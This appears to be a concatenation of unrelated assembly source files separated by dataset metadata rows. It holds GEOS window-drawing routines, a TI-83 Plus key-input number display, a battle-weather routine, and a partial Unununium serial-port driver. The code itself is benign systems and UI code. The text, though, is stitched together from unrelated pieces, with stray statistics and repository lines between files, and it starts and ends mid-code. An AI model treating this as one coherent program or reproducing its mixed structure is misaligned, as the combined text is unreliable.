COMMENT @----------------------------------------------------------------------
FUNCTION: WinDrawBoxFrame
DESCRIPTION: Draws a frame at the bounds passed. If the display type is
B&W, then it will just draw a frame. If it's a color display,
then it will draw a "shadowed" frame in 2 colors.
PASS: ax, bx, cx, dx - GrFillRect-style bounds of the rectangle
di - GState to use
bp-low - <rightBottom color><topLeft color>
bp-high - display type
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 4/91 Updated for new graphics, bounds conventions
------------------------------------------------------------------------------@
WinDrawBoxFrame proc near
uses ax, bx, bp
.enter
xchg ax, bp ;put colors in al
cmp ah, DC_GRAY_1 ;is this a B@W display?
jnz color ;skip if not...
mov ax, (C_BLACK shl 8) or C_BLACK ;else use all black for frame
jmp draw
color:
mov ah, al
andnf al, mask CS_darkColor ;al <- dark color
andnf ah, mask CS_lightColor ;ah <- light color
shr ah, 1
shr ah, 1
shr ah, 1
shr ah, 1
draw:
xchg bp, ax ;back in bp
call OpenDrawRect ;draw a framed rectangle
.leave
ret
WinDrawBoxFrame endp
COMMENT @----------------------------------------------------------------------
FUNCTION: OpenWinCheckIfBordered
DESCRIPTION: Check if window is bordered
PASS: *ds:si = OLWinClass object
ds:bp = OLWinClass instance data
RETURN: carry set if bordered
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Gene 2/15/02 Initial version
------------------------------------------------------------------------------@
OpenWinCheckIfBordered proc near
; If window is maximized, then no border
test ds:[bp].OLWI_specState, mask OLWSS_MAXIMIZED
jnz done ; exit with carry clear
; If custom window, then no border
test ds:[bp].OLWI_moreFixedAttr, mask OWMFA_CUSTOM_WINDOW
jnz done ; exit with carry clear
stc ; window has border
done:
ret
OpenWinCheckIfBordered endp
COMMENT @----------------------------------------------------------------------
FUNCTION: OpenWinGetBounds
OpenWinGetInsideBorderBounds
DESCRIPTION: These procedures return the bounds for an aspect of the window.
PASS: *ds:si = instance data for object
ds:bp = instance data for object
RETURN: (ax, bx) - (cx, dx) = bounds
ds, si, di, bp = same
DESTROYED: NOTHING
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 1/90 initial version
Chris 4/91 Updated for new graphics, bounds conventions
------------------------------------------------------------------------------@
;This procedure gets the boundary coordinates of the window, relative to itself
OpenWinGetBounds proc near
;we cannot use VisGetBounds because this object is a WINDOWED object.
call VisGetSize
clr ax
clr bx
ret
OpenWinGetBounds endp
;CUAS: the bounds returned do not include the border area.
OpenWinGetInsideBorderBounds proc near
class OLWinClass
call OpenWinGetBounds
call OpenWinCheckIfBordered
jnc done
; 4 pixel border for all other windows
add ax, 4
add bx, 4
sub cx, 4
sub dx, 4
done:
ret
OpenWinGetInsideBorderBounds endp
COMMENT @----------------------------------------------------------------------
FUNCTION: OpenWinGetHeaderBounds
DESCRIPTION: This procedure returns the bounds of the header area of
an OLWinClass object. Note that in CUA and Motif we place the
header ON the frame line of the window.
CALLED BY: utility
PASS: ds:*si - handle of instance data
ds:bp - pointer to instance data
RETURN: (ax, bx, cx, dx) = bounds
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 9/89 split from OpenLook code.
Chris 4/91 Updated for new graphics, bounds conventions
------------------------------------------------------------------------------@
OpenWinGetHeaderBounds proc near
class OLWinClass
call OpenWinGetInsideBorderBounds
push ds
segmov ds, <segment dgroup>, dx
mov dx, ds:[specDisplayScheme].DS_pointSize
pop ds
;Header is on top of window frame line, so don't change left, right,
;or top coordinates here
if _GCM
test ds:[bp].OLWI_fixedAttr, mask OWFA_GCM_TITLED
jnz 50$
endif
clr dh
add dx, bx ;add top
add dx, CUAS_WIN_HEADER_Y_SPACING ;add margin
;
; If it's a CGA display, use a smaller header height
call OpenWinCheckIfSquished
jnc done
sub dx, (CUAS_WIN_HEADER_Y_SPACING - CUAS_CGA_WIN_HEADER_Y_SPACING)
ret
if _GCM
50$: ;for GCM headers: ignore font size (for now)
mov dx, CUAS_GCM_HEADER_HEIGHT
call OpenWinCheckIfSquished
jnc done
mov dx, CUAS_GCM_CGA_HEADER_HEIGHT
endif
done:
ret
OpenWinGetHeaderBounds endp
COMMENT @----------------------------------------------------------------------
METHOD: OpenWinDraw -- MSG_VIS_DRAW for OLWinClass
DESCRIPTION: This procedure is called when
PASS: ds:*si - instance data
es - segment of zzzClass
ax - MSG_
cx, dx - ?
bp - handle of GState
RETURN: cl - DrawFlags: DF_EXPOSED set if updating
ch - ?
dx - ?
bp - GState to use
DESTROYED:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/89 Initial version
Eric 7/89 more documentation, Motif extensions
------------------------------------------------------------------------------@
OpenWinDraw method dynamic OLWinClass, MSG_VIS_DRAW
mov di, bp ;di = GState
call OpenWinInitGState
;(al = color scheme, ah = display type, cl = DrawFlags)
call OpenWinDrawWindowBorder
;draw the header area
; ds:bp = specific instance data for object
; di = gstate
test ds:[bp].OLWI_attrs, mask OWA_TITLED
jz OWD_noHeader
if not NORMAL_HEADERS_ON_DISABLED_WINDOWS ; only 50% if disabling headers
test ds:[bp].VI_attrs, mask VA_FULLY_ENABLED
jnz OWD_drawHeader
mov al, SDM_50 ; else draw everything 50%
call GrSetTextMask
call GrSetLineMask
OWD_drawHeader:
endif
call OpenWinDrawHeaderTitleBackground
call OpenWinDrawHeaderTitle ;Draw window title
mov al, SDM_100 ; else draw everything 100%
call GrSetTextMask
call GrSetLineMask
OWD_noHeader:
mov bp, di ;bp = GState
;Then call parent class, to do children
push bp, cx
mov ax, MSG_VIS_DRAW
mov di, segment VisCompClass
mov es, di
mov di, offset VisCompClass
call ObjCallClassNoLock
pop di, cx
; If we didn't draw children, at least draw title bar children
test cl, mask DF_DONT_DRAW_CHILDREN
jz gotChildren
call DrawTitleChildren
gotChildren:
; Darken background if necessary
mov bp, ds:[si]
add bp, ds:[bp].Vis_offset
test ds:[bp].OLWI_moreFixedAttr, mask OMWFA_DRAW_DISABLED
jz done
call OpenWinDarkenWindow
done:
ret
OpenWinDraw endp
OpenWinDarkenWindow proc far
uses si
.enter
mov si, WIT_COLOR
call WinGetInfo
ornf ah, mask WCF_DRAW_MASK or mask WCF_MASKED
call WinSetInfo
push ax, bx
mov ax, C_BLACK
call GrSetAreaColor
call GrGetMaskBounds
call GrFillRect
pop ax, bx
andnf ah, not mask WCF_DRAW_MASK
call WinSetInfo
done:
.leave
ret
OpenWinDarkenWindow endp
;
; stripped down version of VisCompClass MSG_VIS_DRAW
;
DTC_frame struct
DTC_theBottom word
DTC_frame ends
DTC_vars equ <ss:[bp-(size DTC_frame)]>
DTC_bottom equ <DTC_vars.DTC_theBottom>
DrawTitleChildren proc near
class VisCompClass
uses bx, cx, si, di, es
.enter
mov bp, di ; bp = gstate
andnf cl, not mask DF_DONT_DRAW_CHILDREN
mov di, ds:[si] ; get offset to composite in si
add di, ds:[di].Vis_offset ;ds:di = VisInstance
; make sure composite is drawable
test ds:[di][VI_attrs], mask VA_DRAWABLE
jz VCD_done ; if it isn't, skip drawing altogether
test cl, mask DF_PRINT
jnz 10$
; make sure composite is realized
test ds:[di][VI_attrs], mask VA_REALIZED
jz VCD_done ; if it isn't, skip drawing altogether
test ds:[di].VCI_geoAttrs, mask VCGA_ONLY_DRAWS_IN_MARGINS
jnz 10$ ; IMAGE_INVALID only covers margins, must
; continue -cbh 12/17/91
test ds:[di].VI_optFlags, mask VOF_IMAGE_INVALID
jnz VCD_done ; if not, skip drawing it
10$:
; allocate frame on the stack to hold update bounds
push bp ;save gstate
mov di,bp ;di = gstate
mov bp,sp
sub sp, size DTC_frame
push cx
call OpenWinGetHeaderTitleBounds ; dx = title bottom
mov DTC_bottom,dx
pop cx
mov dx,di ; pass gstate in dx
clr bx ; initial child (first
push bx ; child of
push bx ; composite)
mov bx,offset VI_link ;pass offset to LinkPart
push bx
NOFXIP < push cs ;pass callback routine >
FXIP < mov bx, SEGMENT_CS >
FXIP < push bx >
mov bx,offset DTC_callBack
push bx
mov di,offset VCI_comp
mov bx,offset Vis_offset
mov ax, MSG_VIS_DRAW
call ObjCompProcessChildren ;must use a call (no GOTO) since
;parameters are passed on the stack
VCD_noDraw:
mov sp,bp
pop bp ;gstate
VCD_done:
.leave
ret
DrawTitleChildren endp
DTC_callBack proc far
class VisCompClass ; Tell Esp we're a friend of VisComp
; so we can use its instance data.
mov di, ds:[si]
add di, ds:[di].Vis_offset
test ds:[di].VI_attrs, mask VA_DRAWABLE
jz done
test ds:[di].VI_attrs, mask VA_REALIZED
jz done
test ds:[di].VI_typeFlags, mask VTF_IS_COMPOSITE
jz 5$ ; not a composite, check invalid
test ds:[di].VCI_geoAttrs, mask VCGA_ONLY_DRAWS_IN_MARGINS
jnz 10$ ; must skip invalid check in case one or
; more of our children are valid.
5$:
; make sure that image is valid
test ds:[di].VI_optFlags, mask VOF_IMAGE_INVALID
jnz done ; if not, skip drawing it
10$:
; make sure child isn't a window
; (makes no sense. removed.cbh 12/13/91)
; test ds:[di].VI_typeFlags, mask VTF_IS_WINDOW
; jnz noDraw ; if it is, skip sending draw to it
; IF bounds still in initial state, & haven't been set, don't draw
mov ax, ds:[di].VI_bounds.R_left
mov bx, ds:[di].VI_bounds.R_right
cmp ax,bx
jge done ; skip if width 0 or less
; test the bounds
mov ax, ds:[di].VI_bounds.R_bottom
cmp ax, DTC_bottom ; if obj.bottom > title.bottom
jg done
push cx ; preserve DrawFlags
push dx ; preserve GState handle
push bp
mov bp,dx ; pass gstate in bp
mov ax, MSG_VIS_DRAW
call ObjCallInstanceNoLockES ; send DRAW
pop bp
pop dx
pop cx
done:
clc
ret
DTC_callBack endp
COMMENT @----------------------------------------------------------------------
FUNCTION: OpenWinInitGState
DESCRIPTION: Initialize the current GState before using it to draw
CALLED BY: OpenWinDraw, OLBaseWinDrawHeaderIcons
PASS: *ds:si - object
di - gstate
RETURN: bp - offset to Spec data in object
al = color scheme, ah = display type
bx, dx - private info
DESTROYED:
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 11/89 Initial version
------------------------------------------------------------------------------@
OpenWinInitGState proc near
mov bp, ds:[si] ;ds:bp = instance
add bp, ds:[bp].Vis_offset ;ds:bp = SpecificInstance
;get display scheme data
push cx
mov ax, GIT_PRIVATE_DATA
call GrGetInfo ;ax = <display scheme><display type>
;cx = font to use
;ah:dx = point size
push ax
clr ah ;no fractional pointsize
call GrSetFont
pop ax ;get display info
pop cx
and ah, mask DF_DISPLAY_TYPE
cmp ah, DC_GRAY_1 ;is this a B&W display?
jnz color ;skip if not...
mov al, (C_WHITE shl 4) or C_BLACK ;use black and white
color:
ret
OpenWinInitGState endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
OpenWinDrawWindowBorder
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw a border around window
CALLED BY: OpenWinDraw
PASS: ds:*si - instance data
ds:bp - pointer to instance data
es - segment of OLWinClass
ax - color scheme, display type
cx - draw flags
di - handle of GState
RETURN: nothing
DESTROYED: bx, dx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Gene 2/15/02 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
OpenWinDrawWindowBorder proc near
class OLWinClass
uses ax, cx, si, bp ;preserve color scheme, draw flags
.enter
; Nothing to draw if window doesn't have a border
call OpenWinCheckIfBordered
jnc done
; Determine the color scheme to use
mov bx, ax
mov al, ColorScheme <C_BLACK, C_LIGHT_GRAY>
mov bl, ColorScheme <C_DARK_GRAY, C_WHITE>
push bx ;Save display type/inner border color
push ax ;save display type/outer border color
call OpenWinGetBounds
pop bp ;restore outer border color
call WinDrawBoxFrame ;draw outer border
inc ax ;adjust bounds for inner border
inc bx ;adjust bounds for inner border
dec cx ;adjust bounds for inner border
dec dx ;adjust bounds for inner border
pop bp ;restore inner border color
call WinDrawBoxFrame ;draw inner border
mov ax, C_BLACK
call GrSetLineColor
done:
.leave
ret
OpenWinDrawWindowBorder endp
COMMENT @----------------------------------------------------------------------
FUNCTION: OpenWinDrawHeaderTitleBackground
DESCRIPTION: This procedure draws the background for the header area.
CALLED BY: OpenWinDraw
PASS: ds:*si - instance data
ds:bp - pointer to instance data
es - segment of OLWinClass
ax - color scheme, display type
cx - draw flags
dx - ?
di - handle of GState
RETURN: nothing
DESTROYED: bx, dx
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 10/89 initial version
Chris 4/91 Updated for new graphics, bounds conventions
------------------------------------------------------------------------------@
OpenWinDrawHeaderTitleBackground proc near
class OLWinClass
uses bp, ax, cx, bp
.enter
;
; Code added 2/ 6/92 to get rid of title on maximized windows.
;
call OpenWinCheckMenusInHeader
jc done ;menus in header, don't draw title
;reset some invalid flags for this window, to indicate that draw
;has occurred.
mov cl, mask OLWHS_HEADER_AREA_INVALID or \
mask OLWHS_FOCUS_AREA_INVALID or \
mask OLWHS_TITLE_AREA_INVALID
call OpenWinHeaderResetInvalid
;see if this window has a title
test ds:[bp].OLWI_attrs, mask OWA_TITLED
jz done ;skip if not...
;depending upon whether this window has the focus, choose one
;of two TitleBarBackground colors
push ds ;save segment of object block
mov bx, segment idata ;get segment of core blk
mov ds, bx
mov bh, ds:[moCS_inactiveTitleBar]
mov bl, ds:[moCS_activeTitleBar]
pop ds
call OpenWinTestForFocusAndTarget
test ax, mask HGF_SYS_EXCL
pushf
mov al, bl
jnz haveColor
mov al, bh
haveColor:
clr ah
call GrSetAreaColor
call OpenWinGetBounds
call OpenWinCheckIfBordered
jnc 10$
add ax, 4 ;4 pixel offset
sub cx, 4 ;4 pixel offset
10$:
push ax, cx
call OpenWinGetHeaderTitleBounds
pop ax, cx
;
; see if we should draw a gradient or not
;
push ax, ds
mov ax, segment idata
mov ds, ax
mov al, ds:[moCS_activeTitleBar]
cmp al, ds:[moCS_titleBar2]
pop ax, ds
jne drawGradient
normalDraw::
call GrFillRect
afterDraw:
popf
jnz done
call OpenCheckIfBW
jnc done
dec cx
dec dx
call GrDrawRect ;draw rect for BW if not target
done:
.leave
ret
drawGradient:
popf
pushf
push si, ax
call DrawGradientTitle
pop si, ax
jmp afterDraw
OpenWinDrawHeaderTitleBackground endp
DrawGradientTitle proc near
uses bx, cx, dx, ds
locs local GradientLocals
mov_tr si, ax ;si <- left bound
lahf ;ah <- flags
.enter
mov ss:locs.GL_bounds.R_left, si
mov ss:locs.GL_bounds.R_top, bx
mov ss:locs.GL_bounds.R_right, cx
mov ss:locs.GL_bounds.R_bottom, dx
sahf
mov ax, segment idata
mov ds, ax
mov al, ds:[moCS_activeTitleBar]
jnz haveColor
mov al, ds:[moCS_inactiveTitleBar]
haveColor:
mov dh, ds:[moCS_titleBar2]
call DrawGradient
.leave
ret
DrawGradientTitle endp
COMMENT @----------------------------------------------------------------------
FUNCTION: OpenWinDrawHeaderTitle
DESCRIPTION: This procedure draws the title for an OLWinClass object.
CALLED BY: OpenWinDraw
PASS: ds:*si - instance data
ds:bp - pointer to instance data
es - segment of OLWinClass
ax - color scheme, display type
cx - draw flags
dx - ?
di - handle of GState
RETURN: nothing
DESTROYED: bx, dx
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 10/89 initial version
Chris 4/91 Updated for new graphics, bounds conventions
------------------------------------------------------------------------------@
CGA_TITLE_TEXT_Y_OFFSET = -1
GCM_CGA_TITLE_TEXT_Y_OFFSET = -1
TITLE_TEXT_Y_OFFSET = 2
GCM_TITLE_TEXT_Y_OFFSET = 6 ;for non CGA only
OpenWinDrawHeaderTitle proc near
class OLWinClass
;
; Code added 2/ 6/92 to get rid of title on maximized windows.
;
call OpenWinCheckMenusInHeader
LONG jc exit ;menus in header, don't draw title
push ax, cx, bp, es ;preserve color scheme, draw flags
;and pointer to instance data
EC < call GenCheckGenAssumption ;Make sure gen data exists >
;reset some invalid flags for this window, to indicate that draw
;has occurred.
mov cl, mask OLWHS_TITLE_IMAGE_INVALID or \
mask OLWHS_FOCUS_AREA_INVALID
call OpenWinHeaderResetInvalid
test ds:[bp].OLWI_attrs, mask OWA_TITLED
LONG jz done ;skip if not titled...
;CUA/Motif: grab color values from color scheme variables in idata
call OpenWinTestForFocusAndTarget
test ax, mask HGF_SYS_EXCL
push ds
mov ax, segment idata ;get segment of core blk
mov ds, ax
mov al, ds:[moCS_titleBarText]
jnz 10$
mov al, C_LIGHT_GREY
10$: clr ah
call GrSetTextColor
pop ds
xchg bp, di ;bp = GState, di = inst. data
;zFix; call OpenWinGCMSetTitleFontSize
xchg bp, di ;di = GState, bp = inst. data
call OpenWinGetHeaderTitleBounds ;get title bounds from
;instance data
inc bx ;move inside top and bottom
dec dx ;C_BLACK lines
;(ax, bx), (cx, dx) = coordinates for title area.
;Calculate size of text moniker.
add ax, CUAS_TITLE_TEXT_MARGIN ;leave margin on left side
sub cx, CUAS_TITLE_TEXT_MARGIN ;leave margin on right side
sub cx, ax ;width of title area
jns 20$
clr cx
;HACK
20$: test ds:[bp].OLWI_fixedAttr, mask OWFA_GCM_TITLED
jz 30$ ;If not GCM, branch
mov bx, GCM_TITLE_TEXT_Y_OFFSET-TITLE_TEXT_Y_OFFSET
call OpenCheckIfCGA ;see if on CGA
jnc 30$ ;not CGA, branch
mov bx, GCM_CGA_TITLE_TEXT_Y_OFFSET-CGA_TITLE_TEXT_Y_OFFSET
;END HACK
30$: add bx, TITLE_TEXT_Y_OFFSET
;
; If it's a CGA display, compensate for a smaller header height
push ax
call OpenMinimizeIfCGA ;zeroes ax, sets CF if CGA
pop ax
jnc notCGA
sub bx, (TITLE_TEXT_Y_OFFSET - CGA_TITLE_TEXT_Y_OFFSET) - 1
notCGA:
sub sp, size DrawMonikerArgs ;make room for args
mov bp, sp ;pass pointer in bp
mov ss:[bp].DMA_gState, di ;pass gstate
push di ;save it
mov ss:[bp].DMA_xInset, ax ;pass x inset
mov ss:[bp].DMA_yInset, bx ;and y inset
mov ss:[bp].DMA_xMaximum, cx ;titlearea is max width
mov ss:[bp].DMA_yMaximum, MAX_COORD ;don't clip Y
mov cl, (J_LEFT shl offset DMF_X_JUST) or \
(J_LEFT shl offset DMF_Y_JUST) or \
mask DMF_CLIP_TO_MAX_WIDTH or \
mask DMF_TEXT_ONLY
call OpenWinDrawMoniker ;draw it
pop di ;restore gstate
add sp, size DrawMonikerArgs ;dump args
mov ax, C_BLACK ;reset text color
call GrSetTextColor
;restore original point size
mov bp, di
;zFix; call OpenWinGCMResetTitleFontSize
done:
pop ax, cx, bp, es ;get color scheme, draw flags
exit: ;and pointer to instance data
ret
OpenWinDrawHeaderTitle endp
WinCommon ends
| 23.292873
| 79
| 0.677631
|
76296d1d4676d50d475f1b13c867a0946de10c65
| 1,208
|
asm
|
Assembly
|
asm/Fibbonacci/KEYINPUT.asm
|
Yogurt3418/TI-83-Projects
|
94181a03713903b32c96b5ece4467c87a7e15cee
|
[
"MIT"
] | null | null | null |
asm/Fibbonacci/KEYINPUT.asm
|
Yogurt3418/TI-83-Projects
|
94181a03713903b32c96b5ece4467c87a7e15cee
|
[
"MIT"
] | null | null | null |
asm/Fibbonacci/KEYINPUT.asm
|
Yogurt3418/TI-83-Projects
|
94181a03713903b32c96b5ece4467c87a7e15cee
|
[
"MIT"
] | null | null | null |
.nolist
#include "ti83plus.inc"
.list
.org userMem-2
.db $BB,$6D
b_call(_RunIndicOff) ; Kill the run indicator.
b_call(_ClrLCDFull)
LD B, 127
JR Display ; Display initial value of B.
KeyLoop:
PUSH BC ; This will prevent B from being destroyed by _GetKey.
b_call(_GetKey)
POP BC
CP kUp ; If the up arrow key was pressed.
JR Z, Increase
CP kDown ; If the down arrow key was pressed.
JR Z, Decrease
CP kClear ; If the CLEAR key was pressed.
RET Z
JR KeyLoop ; If any other key was pressed, redo _GetKey.
Increase:
LD A, B
CP 255 ; Don't increment B if it's at its maximum value.
JR Z, KeyLoop
INC B
JR Display ; Display new value of B.
Decrease:
LD A, B
CP 0 ; Don't decrement B if it's at its minimum value.
JR Z, KeyLoop
DEC B
Display:
LD HL, 0 ; Reset cursor to top of screen.
LD (CurRow), HL
LD L, B
PUSH BC ; Prevent B from destruction at the hands of _DispHL.
b_call(_DispHL)
POP BC
JR KeyLoop ; Get another key.
ret
| 29.463415
| 76
| 0.557947
|
c22fb9fdbd4fc27c2bd17941a65eaadfe7f4dc86
| 180
|
asm
|
Assembly
|
engine/battle/move_effects/rain_dance.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 28
|
2019-11-08T07:19:00.000Z
|
2021-12-20T10:17:54.000Z
|
engine/battle/move_effects/rain_dance.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 13
|
2020-01-11T17:00:40.000Z
|
2021-09-14T01:27:38.000Z
|
engine/battle/move_effects/rain_dance.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 22
|
2020-05-28T17:31:38.000Z
|
2022-03-07T20:49:35.000Z
|
BattleCommand_StartRain:
; startrain
ld a, WEATHER_RAIN
ld [wBattleWeather], a
ld a, 5
ld [wWeatherCount], a
call AnimateCurrentMove
ld hl, DownpourText
jp StdBattleTextbox
| 18
| 24
| 0.777778
|
0e0e41b1f01f8c9b07718dc37238fc7b806a0065
| 9,373
|
asm
|
Assembly
|
uuu/src/cells/io/serial/serilium/serilium.asm
|
ekscrypto/Unununium
|
4b67e7c5e63cf1be2157382ffd4c1e9d12957a1f
|
[
"BSD-2-Clause"
] | 7
|
2019-03-04T08:53:33.000Z
|
2022-01-28T19:32:12.000Z
|
uuu/src/cells/io/serial/serilium/serilium.asm
|
ekscrypto/Unununium
|
4b67e7c5e63cf1be2157382ffd4c1e9d12957a1f
|
[
"BSD-2-Clause"
] | null | null | null |
uuu/src/cells/io/serial/serilium/serilium.asm
|
ekscrypto/Unununium
|
4b67e7c5e63cf1be2157382ffd4c1e9d12957a1f
|
[
"BSD-2-Clause"
] | null | null | null |
;====---------------------------------------------------------------------====
; Serial Handler Cell (c) 2001 Richard Fillion
; Serilium SuperCell Distributed under BSD License
;====---------------------------------------------------------------------====
[bits 32]
section .c_info
;version
db 0,0,1,'a' ;0.0.1 alpha
dd str_cellname
dd str_author
dd str_copyright
str_cellname: db "Serilium SuperCell Serial Handler",0
str_author: db "Richard Fillin (Raptor-32)",0
str_copyright: db "(c) 2001 Richard Fillion",0
;====------[ INITIALIZATION ]-------=====
section .c_init
push eax
push ecx
mov ax, [0x00000400]
or ax, 0
jz .com2
mov [com1_port], ax
.com2:
mov bx, [0x00000402]
or bx, 0
jz .com3
mov [com2_port], bx
.com3:
mov cx, [0x00000404]
or cx, 0
jz .com4
mov [com3_port], cx
.com4:
mov dx, [0x00000406]
or dx, 0
jz .end_detect
mov [com4_port], dx
.end_detect:
pop ecx
pop eax
;in al, 0x80
;xor cx, cx
;mov cl, al ;no port available signal
;externfunc showregs, debug_ack
;mov dx, 0x3F8 + 5
;in ax, dx
;externfunc showregs, debug_ack
;cmp ax, cx
;je .check_com2
;mov [com1_port], word 0x3F8
;.check_com2:
;mov dx, 0x2F8 + 5
;in ax, dx
;externfunc showregs, debug_ack
;cmp ax, cx
;je .check_com3
;mov [com2_port], word 0x2F8
;.check_com3:
;mov dx, 0x3E8 + 5
;in ax, dx
;externfunc showregs, debug_ack
;cmp ax, cx
;je .check_com4
;mov [com3_port], word 0x3E8
;.check_com4:
;mov dx, 0x2E8 + 5
;in ax, dx
;externfunc showregs, debug_ack
;cmp ax, cx
;je .done_check
;mov [com4_port], word 0x2E8
;.done_check:
;note: the register switching there can save a few cycles on modern CPUs
section .text
found_com1: db "Serial COM1 found at i/o address:",0
found_com2: db "Serial COM2 found at i/o address:",0
found_com3: db "Serial COM3 found at i/o address:",0
found_com4: db "Serial COM4 found at i/o address:",0
globalfunc enable_port, com, 1, 10
;in :
; eax = com port
; bl = baud rate divisor high
; bh = baud rate divisor low
; cl = data format, (0 = 8data bits, 1 stop bit |1 = 7 data bits, 2 stop bits)
; esi = function to call
;
push eax ;push com port to set irq later
xor edx, edx
and eax, 0x0000FFFF
or eax, eax ;check for 0
jz .com_too_high
cmp eax, 4
ja .com_too_high
shl eax, 1
sub eax, 2
mov edi, com_ports
add edi, eax
mov dx, [edi]
cmp dx, -1
je .no_such_port
;dx is now location for i/o for port requested
push dx
add dx, 3
mov al, 0x80
out dx, al
pop dx
mov al, bl ;baud rate divisor high should be in bl
out dx, al ;baud rate divisor
inc dx
mov al, bh
out dx, al ;baud rate divisor low
add dx, 2
mov al, cl
out dx, al ;set stop bits
xor al, 00000011b
;data bits
out dx, al
dec dx
mov al, 0xC7
out dx, al
add dx, 2
mov al, 0x0B
out dx, al
sub dx, 3
mov al, 0x01
out dx, al ;interupt when data in.
;find com again, set irq client, irqsharing.
pop eax
cmp al, 2
jb .use_com1
je .use_com2
cmp al, 4
jb .use_com3
je .use_com4
;still here? got an error
jmp .error_irq
.use_com1:
xor eax, eax
mov al, 4 ;irq 4
mov edi, esi
mov esi, serial_irq4
cmp [com_clients.com3_client], dword -1
je .done_set1
;if com3 has a client, then now we have to share irq4
mov [irq4share], byte 1
.done_set1:
mov [com_clients.com1_client], edi
externfunc hook_irq, noclass
retn
.use_com2:
xor eax, eax
mov al, 3 ;irq3
mov edi, esi ;save client
mov esi, serial_irq3
cmp [com_clients.com4_client], dword -1
je .done_set2
;if com4 has a client, we must now share irq3
mov [irq3share], byte 1
.done_set2:
mov [com_clients.com2_client], edi
externfunc hook_irq, noclass
retn
.use_com3:
mov al, 4 ;irq 4
mov edi, esi ;save client
mov esi, serial_irq4
cmp [com_clients.com1_client], dword -1
je .done_set3
;if com1 has a client, we must share irq4
mov [irq4share], byte 1
.done_set3:
mov [com_clients.com3_client], dword edi
externfunc hook_irq, noclass
retn
.use_com4:
mov al, 3 ;irq 3
mov edi, esi ;save client
mov esi, serial_irq3
cmp [com_clients.com2_client], dword -1
je .done_set4
;if com2 has a client, we must share irq3
mov [irq3share], byte 1
.done_set4:
mov [com_clients.com4_client], dword edi
externfunc hook_irq, noclass
retn
;====-------[ERRORS]--------=====
.com_too_high:
pop eax
stc
mov eax, dword 2 ;error 2, com too high
retn
.no_such_port:
pop eax
stc
mov eax, dword 3 ;error 3, no such com port
retn
.error_irq:
stc
mov eax, dword 4 ;error 4, couldnt find irq needed
retn
;=======-------[IRQ SHARERS]-------=======
serial_irq4: ;for coms 1 and 3
push ebx
push edx
push edi
push ebp
mov al, byte [irq4share]
or al, 0
jz .do_com1
;ok, we are sharing IRQ4 for com 1 and 3, check status bits to see
;which com just got sent data
;checking COM3 first
mov dx, 0x3E8 + 3 ;base + 3 = LSR, Line Status Register
in al, dx
and al, 00000001b ;if bit 0 is set, keep it.
or al, 0
jz .do_com1 ;not com3, check com1
;something awaits in com3, lets get it.
xor ax, ax
mov dx, 0x3E8
in al, dx
mov bx, ax
mov al, 0x20
out 0x20, al ;ack the PIC
mov ax, bx
mov edx, com_clients.com3_client
call [edx]
pop ebp
pop edi
pop edx
pop ebx
retn
.do_com1:
;irq was called, either com3 doesnt exist, or nothing was there
;so we can just get whatever came in.
mov dx, 0x3F8
xor ax, ax
in al, dx
push eax
;mov bx, ax
mov al, 0x20
out 0x20, al ;ack the PIC
pop eax
;mov ax, bx
call [com_clients.com1_client]
;call [edx]
pop ebp
pop edi
pop edx
pop ebx
retn
serial_irq3: ;for coms 2 and 4
push ebx
push edx
push edi
push ebp
mov al, byte [irq3share]
or al, 0 ;check if sharing irq3
jz .do_com2
;sharing IRQ, check to see if it was com4
mov dx, 0x2E8 + 3 ;base + 3 = LSR, Line Status Register
in al, dx
and al, 00000001b ;only keep bit0 up if it is up.
or al, 0 ;is al 0? if yes it was com2 that got called
jz .do_com2
;it was com4 at this point
xor ax, ax
mov dx, 0x2E8
in al, dx
mov bx, ax
mov al, 0x20
out 0x20, al ;ack the PIC
mov ax, bx
mov edx, com_clients.com4_client
call [edx]
pop ebp
pop edi
pop edx
pop ebx
retn
.do_com2:
;if it gets here, we either have no com4, or it wasnt com4 that was called
xor ax, ax
mov dx, 0x2F8
in al, dx
mov bx, ax
mov al, 0x20
out 0x20, al ;ack the PIC
mov edx, com_clients.com2_client
call [edx]
pop ebp
pop edi
pop edx
pop ebx
retn
globalfunc disable_port, com, 2, 10
;in EAX= com port
and eax, 0x0000FFFF ;make SURE that top 16bits are cleared
or eax, eax ;check for zero
jz .no_com
cmp eax, 4 ;check for a com above 4
ja .no_com
push eax
;we have a POSSIBLE com, find its addres.
shl eax, 1
sub eax, 2
mov edi, com_ports
add edi, eax
mov dx, [edi]
cmp dx, -1
je .no_com ;if dx = -1, we never detect an address for that com.
;base address to com port now in dx.
;first, stop the com from interupting the CPU.
inc dx ;address to out to cancel interupt generation
mov al, 0x00
out dx, al
;check to see if you can cancel the IRQ all together.
pop eax
cmp eax, 2
jb .dis_com1
je .dis_com2
cmp eax, 4
jb .dis_com3
